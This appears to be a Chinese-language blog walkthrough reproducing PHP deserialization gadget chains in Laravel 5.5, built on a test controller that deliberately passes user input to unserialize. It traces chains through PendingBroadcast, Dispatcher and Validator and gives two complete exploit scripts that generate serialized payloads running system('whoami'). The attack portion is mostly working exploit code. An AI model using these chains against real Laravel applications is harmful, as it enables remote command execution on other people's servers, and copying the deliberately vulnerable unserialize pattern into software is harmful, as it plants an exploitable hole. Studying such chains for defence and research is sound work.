环境安装

composer create-project --prefer-dist laravel/laravel blog "5.5.*"

添加路由
route/web.php
Route::get('/seri', "seriController@seri");

添加控制器
app/Http/Controllers/SeriController.php

  1. <?php
  2. namespace App\Http\Controllers;
  3. class SeriController extends Controller{
  4. public function seri(){
  5. if(isset($_GET['code'])){
  6. $code = $_GET['code'];
  7. unserialize($code);
  8. }
  9. else{
  10. highlight_file(__FILE__);
  11. }
  12. return "Laravel 5.5";
  13. }
  14. }
  15. ?>

漏洞复现

链子一

全局搜索 __destruct()
同样还是 /vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php

  1. public function __destruct()
  2. {
  3. $this->events->dispatch($this->event);
  4. }

了解我们知道为啥用这个入口:这是因为这里的两个参数都可控,我们有两个利用方式
第一是寻找可利用的 __call 方法
第二是是去掉调用任意类的 dispath()方法

全局搜搜 dispath 方法
/vendor/laravel/framework/src/Illuminate/Events/Dispatcher.php

  1. public function dispatch($event, $payload = [], $halt = false)
  2. {
  3. // When the given "event" is actually an object we will assume it is an event
  4. // object and use the class as the event name and this event itself as the
  5. // payload to the handler, which makes object based events quite simple.
  6. list($event, $payload) = $this->parseEventAndPayload(
  7. $event, $payload
  8. );
  9. ...
  1. foreach ($this->getListeners($event) as $listener) {
  2. $response = $listener($event, $payload);

这里的几个属性如果都可控,那么可能就可以进行命令执行
首先这里的 $event 是从 __destruct 方法调用进来的,所以属于我们可控的

接着我们跟进去看看 getListeners方法

  1. public function getListeners($eventName)
  2. {
  3. $listeners = $this->listeners[$eventName] ?? [];
  4. $listeners = array_merge(
  5. $listeners, $this->getWildcardListeners($eventName)
  6. );
  7. return class_exists($eventName, false)
  8. ? $this->addInterfaceListeners($eventName, $listeners)
  9. : $listeners;
  10. }

这里我们知道了,我们可控的参数 $this->listeners[] 为一个数组,而参数 $eventName 就是我们传输进来的 $event(也就是 $this->event)
CG~S9Q]Q]N@MRLI]`76${48.png
所以这里默认结果是返回 $listeners

接着我们看到了 dispatch方法中进行了 foreach as 操作
这里我们控制了 $this->getListeners($event) 的值,也就控制了 $listener
我们可以令它为 call_user_func 或者 system 等值,就可以控制进行命令执行了

给一张网上找的攻击流程图
geed.png

exp1

  1. <?php
  2. namespace Illuminate\Broadcasting
  3. {
  4. class PendingBroadcast
  5. {
  6. protected $events;
  7. protected $event;
  8. function __construct($events, $parameter)
  9. {
  10. $this->events = $events;
  11. $this->event = $parameter;
  12. }
  13. }
  14. }
  15. namespace Illuminate\Events
  16. {
  17. class Dispatcher
  18. {
  19. protected $listeners;
  20. function __construct($function, $parameter)
  21. {
  22. $this->listeners = [
  23. $parameter => [$function]
  24. ];
  25. }
  26. }
  27. }
  28. namespace{
  29. $b = new Illuminate\Events\Dispatcher('system','whoami');
  30. $a = new Illuminate\Broadcasting\PendingBroadcast($b,'whoami');
  31. echo (serialize($a));
  32. }

链子二

同样我们是这个 destruct 入口
我们寻找
call 魔术方法
/vendor/laravel/framework/src/Illuminate/Support/Manager.php
这个链子5.4也存在
不打了
geed.png


再找找

链子三

  1. public function __call($method, $parameters)
  2. {
  3. $rule = Str::snake(substr($method, 8));
  4. if (isset($this->extensions[$rule])) {
  5. return $this->callExtension($rule, $parameters);
  6. }
  7. throw new BadMethodCallException("Method [$method] does not exist.");
  8. }

这里的 $this->extensions[$rule] 是可控的
跟进 callExtension方法

  1. protected function callExtension($rule, $parameters)
  2. {
  3. $callback = $this->extensions[$rule];
  4. if (is_callable($callback)) {
  5. return call_user_func_array($callback, $parameters);
  6. } elseif (is_string($callback)) {
  7. return $this->callClassBasedExtension($callback, $parameters);
  8. }
  9. }

$callback 由 $this->extensions[$rule] 控制
$parameters 就是 call 中的 $parameters ,即 destruct 中的 $this->event
都属于可控的

我们需要去满足 if (isset($this->extensions[$rule])) 就可以进行rce了
$rule 的值 为 “”
因此只要我们设置为 “”
就可以进入 if 中

geed.png
exp3

  1. <?php
  2. namespace Illuminate\Broadcasting
  3. {
  4. class PendingBroadcast
  5. {
  6. protected $events;
  7. protected $event;
  8. function __construct($events, $event)
  9. {
  10. $this->events = $events;
  11. $this->event = $event;
  12. }
  13. }
  14. }
  15. namespace Illuminate\Validation
  16. {
  17. class Validator
  18. {
  19. public $extensions;
  20. function __construct($function)
  21. {
  22. $this->extensions = [
  23. '' => $function
  24. ];
  25. }
  26. }
  27. }
  28. namespace{
  29. $b = new Illuminate\Validation\Validator('system');
  30. $a = new Illuminate\Broadcasting\PendingBroadcast($b,'whoami');
  31. echo (serialize($a));
  32. }